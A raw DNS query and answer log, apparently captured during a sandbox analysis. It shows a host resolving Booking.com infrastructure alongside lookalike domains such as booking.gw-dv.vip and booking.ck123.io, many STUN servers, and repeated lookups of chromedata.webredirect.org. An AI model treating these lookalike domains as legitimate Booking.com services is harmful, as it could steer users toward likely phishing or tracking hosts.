Nov 2, 2024 14:00:07.457926989 CET	192.168.2.5	1.1.1.1	0x97b	Standard query (0)	account.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:11.969288111 CET	192.168.2.5	1.1.1.1	0xace8	Standard query (0)	www.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:11.969630957 CET	192.168.2.5	1.1.1.1	0x7eda	Standard query (0)	www.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:13.639467001 CET	192.168.2.5	1.1.1.1	0xe1b7	Standard query (0)	geolocation.onetrust.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:13.639630079 CET	192.168.2.5	1.1.1.1	0x5d5e	Standard query (0)	geolocation.onetrust.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:14.426136017 CET	192.168.2.5	1.1.1.1	0x78ce	Standard query (0)	geolocation.onetrust.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:14.426331043 CET	192.168.2.5	1.1.1.1	0x633f	Standard query (0)	geolocation.onetrust.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:15.799124002 CET	192.168.2.5	1.1.1.1	0xf81	Standard query (0)	xx.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.799269915 CET	192.168.2.5	1.1.1.1	0x9107	Standard query (0)	xx.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:15.800128937 CET	192.168.2.5	1.1.1.1	0x8d2d	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:15.800324917 CET	192.168.2.5	1.1.1.1	0x4df9	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:16.885552883 CET	192.168.2.5	1.1.1.1	0x1ab7	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.885684967 CET	192.168.2.5	1.1.1.1	0xaa82	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:16.941471100 CET	192.168.2.5	1.1.1.1	0x8ea8	Standard query (0)	xx.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.941720963 CET	192.168.2.5	1.1.1.1	0x5a9b	Standard query (0)	xx.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:16.951217890 CET	192.168.2.5	1.1.1.1	0xeea3	Standard query (0)	aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:16.951668978 CET	192.168.2.5	1.1.1.1	0x3fb8	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:16.960664988 CET	192.168.2.5	1.1.1.1	0xbba0	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:17.007508993 CET	192.168.2.5	1.1.1.1	0xf1ac	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:17.007826090 CET	192.168.2.5	1.1.1.1	0xd60e	Standard query (0)	aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.023865938 CET	192.168.2.5	1.1.1.1	0x7355	Standard query (0)	d8c14d4960ca.edge.sdk.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.023982048 CET	192.168.2.5	1.1.1.1	0xb756	Standard query (0)	d8c14d4960ca.edge.sdk.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:17.024569035 CET	192.168.2.5	1.1.1.1	0xd5e7	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.024765015 CET	192.168.2.5	1.1.1.1	0xa9a8	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:17.025420904 CET	192.168.2.5	1.1.1.1	0xc73a	Standard query (0)	t-cf.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.025679111 CET	192.168.2.5	1.1.1.1	0x66a7	Standard query (0)	t-cf.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:17.110893011 CET	192.168.2.5	1.1.1.1	0x2275	Standard query (0)	nellie.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:17.111027956 CET	192.168.2.5	1.1.1.1	0x50c7	Standard query (0)	nellie.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:18.515788078 CET	192.168.2.5	1.1.1.1	0x6584	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:18.516207933 CET	192.168.2.5	1.1.1.1	0x23b6	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:21.970957994 CET	192.168.2.5	1.1.1.1	0xd6e9	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:21.971216917 CET	192.168.2.5	1.1.1.1	0x7e86	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:22.025006056 CET	192.168.2.5	1.1.1.1	0x9ce1	Standard query (0)	booking.ck123.io	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.025163889 CET	192.168.2.5	1.1.1.1	0x6455	Standard query (0)	booking.ck123.io	65	IN (0x0001)	false
Nov 2, 2024 14:00:22.036226988 CET	192.168.2.5	1.1.1.1	0x64f8	Standard query (0)	booking.gw-dv.vip	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.036369085 CET	192.168.2.5	1.1.1.1	0x99ac	Standard query (0)	booking.gw-dv.vip	65	IN (0x0001)	false
Nov 2, 2024 14:00:22.112941027 CET	192.168.2.5	1.1.1.1	0xc530	Standard query (0)	ls.cdn-gw-dv.vip	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.113365889 CET	192.168.2.5	1.1.1.1	0xdb19	Standard query (0)	ls.cdn-gw-dv.vip	65	IN (0x0001)	false
Nov 2, 2024 14:00:22.526622057 CET	192.168.2.5	1.1.1.1	0x194e	Standard query (0)	stun.12voip.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.527092934 CET	192.168.2.5	1.1.1.1	0x6574	Standard query (0)	stun.1und1.de	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.527280092 CET	192.168.2.5	1.1.1.1	0xe948	Standard query (0)	stun.aa.net.uk	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.527524948 CET	192.168.2.5	1.1.1.1	0x460	Standard query (0)	stun.acrobits.cz	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.527772903 CET	192.168.2.5	1.1.1.1	0x4540	Standard query (0)	stun.actionvoip.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.528002977 CET	192.168.2.5	1.1.1.1	0x6d3c	Standard query (0)	stun.antisip.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.528168917 CET	192.168.2.5	1.1.1.1	0x7d3f	Standard query (0)	stun.bluesip.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.528300047 CET	192.168.2.5	1.1.1.1	0x1625	Standard query (0)	stun.cablenet-as.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.528495073 CET	192.168.2.5	1.1.1.1	0x9c61	Standard query (0)	stun.callromania.ro	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.528717041 CET	192.168.2.5	1.1.1.1	0x65e9	Standard query (0)	stun.l.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.528903961 CET	192.168.2.5	1.1.1.1	0x47d4	Standard query (0)	stun.tel.lu	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.529073000 CET	192.168.2.5	1.1.1.1	0x923d	Standard query (0)	stun.telbo.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.529341936 CET	192.168.2.5	1.1.1.1	0xb362	Standard query (0)	stun.twt.it	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.529547930 CET	192.168.2.5	1.1.1.1	0x2ab6	Standard query (0)	stun.uls.co.za	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.529762983 CET	192.168.2.5	1.1.1.1	0xf015	Standard query (0)	stun.usfamily.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.529943943 CET	192.168.2.5	1.1.1.1	0x7412	Standard query (0)	stun1.l.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.530160904 CET	192.168.2.5	1.1.1.1	0xc09e	Standard query (0)	stun2.l.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.530332088 CET	192.168.2.5	1.1.1.1	0xfb04	Standard query (0)	stun3.l.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.530539036 CET	192.168.2.5	1.1.1.1	0xfcfe	Standard query (0)	stun4.l.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:22.530750036 CET	192.168.2.5	1.1.1.1	0x75ec	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.531140089 CET	192.168.2.5	1.1.1.1	0x1525	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.531282902 CET	192.168.2.5	1.1.1.1	0x7a6	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.531507969 CET	192.168.2.5	1.1.1.1	0xba27	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.531708002 CET	192.168.2.5	1.1.1.1	0xca28	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.531866074 CET	192.168.2.5	1.1.1.1	0x69e	Standard query (0)	stun.antisip.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.532156944 CET	192.168.2.5	1.1.1.1	0x22a1	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.532409906 CET	192.168.2.5	1.1.1.1	0xf9d0	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.532632113 CET	192.168.2.5	1.1.1.1	0xeff7	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.532802105 CET	192.168.2.5	1.1.1.1	0x6288	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.533072948 CET	192.168.2.5	1.1.1.1	0xfc7c	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.533277988 CET	192.168.2.5	1.1.1.1	0xa5b3	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.533468008 CET	192.168.2.5	1.1.1.1	0x2e35	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.533646107 CET	192.168.2.5	1.1.1.1	0x5e31	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.533997059 CET	192.168.2.5	1.1.1.1	0x9e5d	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.534184933 CET	192.168.2.5	1.1.1.1	0x6f1c	Standard query (0)	stun1.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.534398079 CET	192.168.2.5	1.1.1.1	0x8e30	Standard query (0)	stun2.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.534718037 CET	192.168.2.5	1.1.1.1	0xc782	Standard query (0)	stun3.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.534956932 CET	192.168.2.5	1.1.1.1	0x7cf6	Standard query (0)	stun4.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.546838999 CET	192.168.2.5	1.1.1.1	0x6a8	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.548063993 CET	192.168.2.5	1.1.1.1	0x865e	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.548224926 CET	192.168.2.5	1.1.1.1	0xc561	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.549263954 CET	192.168.2.5	1.1.1.1	0x2519	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.591420889 CET	192.168.2.5	1.1.1.1	0xb2c0	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.591840982 CET	192.168.2.5	1.1.1.1	0xb26	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.592350960 CET	192.168.2.5	1.1.1.1	0xadf8	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.592664003 CET	192.168.2.5	1.1.1.1	0xaf4e	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.596081018 CET	192.168.2.5	1.1.1.1	0xfa55	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.596234083 CET	192.168.2.5	1.1.1.1	0x943e	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.597299099 CET	192.168.2.5	1.1.1.1	0xf6ee	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.597373962 CET	192.168.2.5	1.1.1.1	0x4846	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.601345062 CET	192.168.2.5	1.1.1.1	0x350d	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.601633072 CET	192.168.2.5	1.1.1.1	0x7a78	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.602813005 CET	192.168.2.5	1.1.1.1	0x3fad	Standard query (0)	stun1.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.603877068 CET	192.168.2.5	1.1.1.1	0x6938	Standard query (0)	stun.antisip.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.606791019 CET	192.168.2.5	1.1.1.1	0xaf34	Standard query (0)	stun2.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.614200115 CET	192.168.2.5	1.1.1.1	0x96ed	Standard query (0)	stun3.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:22.620256901 CET	192.168.2.5	1.1.1.1	0x5571	Standard query (0)	stun4.l.google.com	28	IN (0x0001)	false
Nov 2, 2024 14:00:24.600368023 CET	192.168.2.5	1.1.1.1	0xff54	Standard query (0)	booking.gw-dv.vip	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:24.600636005 CET	192.168.2.5	1.1.1.1	0x214b	Standard query (0)	booking.gw-dv.vip	65	IN (0x0001)	false
Nov 2, 2024 14:00:25.093564034 CET	192.168.2.5	1.1.1.1	0x16e5	Standard query (0)	booking.ck123.io	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:25.093727112 CET	192.168.2.5	1.1.1.1	0xef9	Standard query (0)	booking.ck123.io	65	IN (0x0001)	false
Nov 2, 2024 14:00:25.981350899 CET	192.168.2.5	1.1.1.1	0x8285	Standard query (0)	h.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:25.981632948 CET	192.168.2.5	1.1.1.1	0x7699	Standard query (0)	h.online-metrix.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:26.635710001 CET	192.168.2.5	1.1.1.1	0x3005	Standard query (0)	h.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.635848999 CET	192.168.2.5	1.1.1.1	0x5205	Standard query (0)	h.online-metrix.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:26.642781973 CET	192.168.2.5	1.1.1.1	0x43fd	Standard query (0)	h64.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.642967939 CET	192.168.2.5	1.1.1.1	0x52fc	Standard query (0)	h64.online-metrix.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:26.769818068 CET	192.168.2.5	1.1.1.1	0x5015	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.769962072 CET	192.168.2.5	1.1.1.1	0x7d34	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:26.845307112 CET	192.168.2.5	1.1.1.1	0xf491	Standard query (0)	eu-aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:26.845585108 CET	192.168.2.5	1.1.1.1	0x2447	Standard query (0)	eu-aa.online-metrix.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:26.854981899 CET	192.168.2.5	1.1.1.1	0xdbbe	Standard query (0)	eu-aa.online-metrix.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:26.932337046 CET	192.168.2.5	1.1.1.1	0xd51	Standard query (0)	eu-aa.online-metrix.net	28	IN (0x0001)	false
Nov 2, 2024 14:00:26.934402943 CET	192.168.2.5	1.1.1.1	0x9664	Standard query (0)	eu-aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:27.600348949 CET	192.168.2.5	1.1.1.1	0xb1ca	Standard query (0)	h64.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:27.600605011 CET	192.168.2.5	1.1.1.1	0x731a	Standard query (0)	h64.online-metrix.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:28.457309008 CET	192.168.2.5	1.1.1.1	0x81fd	Standard query (0)	doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:28.458837986 CET	192.168.2.5	1.1.1.1	0x582e	Standard query (0)	doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:28.810694933 CET	192.168.2.5	1.1.1.1	0x9747	Standard query (0)	h.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:28.810900927 CET	192.168.2.5	1.1.1.1	0x8109	Standard query (0)	h.online-metrix.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:29.620686054 CET	192.168.2.5	1.1.1.1	0x37b9	Standard query (0)	doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:29.620820045 CET	192.168.2.5	1.1.1.1	0x2222	Standard query (0)	doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:30.963269949 CET	192.168.2.5	1.1.1.1	0x57f2	Standard query (0)	r.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:30.963398933 CET	192.168.2.5	1.1.1.1	0x9f31	Standard query (0)	r.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:33.203176975 CET	192.168.2.5	1.1.1.1	0x5c2c	Standard query (0)	collector-pxikkul2rm.px-cloud.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:33.203363895 CET	192.168.2.5	1.1.1.1	0x26da	Standard query (0)	collector-pxikkul2rm.px-cloud.net	65	IN (0x0001)	false
Nov 2, 2024 14:00:33.546849966 CET	192.168.2.5	1.1.1.1	0x23f9	Standard query (0)	r.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:33.547044039 CET	192.168.2.5	1.1.1.1	0x1d25	Standard query (0)	r.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:34.346893072 CET	192.168.2.5	1.1.1.1	0x17c8	Standard query (0)	collector-pxikkul2rm.px-cloud.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:34.347028017 CET	192.168.2.5	1.1.1.1	0xf1d7	Standard query (0)	collector-pxikkul2rm.px-cloud.net	65	IN (0x0001)	false
Nov 2, 2024 14:01:17.095485926 CET	192.168.2.5	1.1.1.1	0x6184	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.095599890 CET	192.168.2.5	1.1.1.1	0x3e0c	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:01:17.604418039 CET	192.168.2.5	1.1.1.1	0xfb64	Standard query (0)	nellie.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:17.604584932 CET	192.168.2.5	1.1.1.1	0x1e5c	Standard query (0)	nellie.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:01:22.941281080 CET	192.168.2.5	1.1.1.1	0x78a0	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:22.941565990 CET	192.168.2.5	1.1.1.1	0x2aa7	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:01:27.267543077 CET	192.168.2.5	1.1.1.1	0x27b8	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:27.267673016 CET	192.168.2.5	1.1.1.1	0xa476	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:01:27.309237957 CET	192.168.2.5	1.1.1.1	0xbcbc	Standard query (0)	chromedata.webredirect.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:01:45.599344969 CET	192.168.2.5	1.1.1.1	0x43c8	Standard query (0)	chromedata.webredirect.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:07.067667961 CET	192.168.2.5	1.1.1.1	0x12f8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:07.067809105 CET	192.168.2.5	1.1.1.1	0xcd3f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 2, 2024 14:02:19.842962980 CET	192.168.2.5	1.1.1.1	0xaa58	Standard query (0)	nellie.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:19.843152046 CET	192.168.2.5	1.1.1.1	0xf719	Standard query (0)	nellie.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:02:19.877037048 CET	192.168.2.5	1.1.1.1	0xc7b	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:19.877141953 CET	192.168.2.5	1.1.1.1	0x9767	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:02:24.322906017 CET	192.168.2.5	1.1.1.1	0xbffc	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:24.322968006 CET	192.168.2.5	1.1.1.1	0x66e9	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:02:27.471330881 CET	192.168.2.5	1.1.1.1	0x236f	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:27.471467018 CET	192.168.2.5	1.1.1.1	0xa55	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:02:29.341028929 CET	192.168.2.5	1.1.1.1	0x3379	Standard query (0)	chromedata.webredirect.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:02:58.427798986 CET	192.168.2.5	1.1.1.1	0x8b88	Standard query (0)	chromedata.webredirect.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.596713066 CET	192.168.2.5	1.1.1.1	0x35cf	Standard query (0)	nellie.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.597203970 CET	192.168.2.5	1.1.1.1	0xaff9	Standard query (0)	nellie.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:03:20.599364042 CET	192.168.2.5	1.1.1.1	0x6995	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:20.599570036 CET	192.168.2.5	1.1.1.1	0x50a1	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:03:25.774565935 CET	192.168.2.5	1.1.1.1	0x7a15	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:25.774697065 CET	192.168.2.5	1.1.1.1	0x7f77	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:03:27.666508913 CET	192.168.2.5	1.1.1.1	0x6bcc	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:27.666754961 CET	192.168.2.5	1.1.1.1	0xd41d	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:03:42.080461025 CET	192.168.2.5	1.1.1.1	0xe8e5	Standard query (0)	chromedata.webredirect.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.093395948 CET	192.168.2.5	1.1.1.1	0x80ad	Standard query (0)	nellie.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.093807936 CET	192.168.2.5	1.1.1.1	0xf80d	Standard query (0)	nellie.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:04:22.097735882 CET	192.168.2.5	1.1.1.1	0xfa3e	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.097912073 CET	192.168.2.5	1.1.1.1	0x95d6	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:04:28.020390987 CET	192.168.2.5	1.1.1.1	0x6da3	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:28.020508051 CET	192.168.2.5	1.1.1.1	0xa712	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:04:29.210961103 CET	192.168.2.5	1.1.1.1	0x6b16	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:29.211097002 CET	192.168.2.5	1.1.1.1	0xbf09	Standard query (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	65	IN (0x0001)	false
Nov 2, 2024 14:04:40.398288965 CET	192.168.2.5	1.1.1.1	0x824c	Standard query (0)	chromedata.webredirect.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 2, 2024 14:00:03.834440947 CET	1.1.1.1	192.168.2.5	0x6fa4	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:03.834440947 CET	1.1.1.1	192.168.2.5	0x6fa4	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.72	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:03.834440947 CET	1.1.1.1	192.168.2.5	0x6fa4	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.128	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:03.834440947 CET	1.1.1.1	192.168.2.5	0x6fa4	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.32	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:03.834440947 CET	1.1.1.1	192.168.2.5	0x6fa4	No error (0)	du1b3vb35hc0o.cloudfront.net		99.86.4.19	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:03.835175037 CET	1.1.1.1	192.168.2.5	0xdfe4	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:05.376203060 CET	1.1.1.1	192.168.2.5	0x4c42	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:00:05.376203060 CET	1.1.1.1	192.168.2.5	0x4c42	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:05.376203060 CET	1.1.1.1	192.168.2.5	0x4c42	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:05.376203060 CET	1.1.1.1	192.168.2.5	0x4c42	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
